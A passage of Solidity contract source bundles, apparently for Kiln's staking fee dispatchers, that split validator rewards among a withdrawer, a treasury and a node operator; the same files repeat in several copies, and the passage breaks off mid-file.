"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a 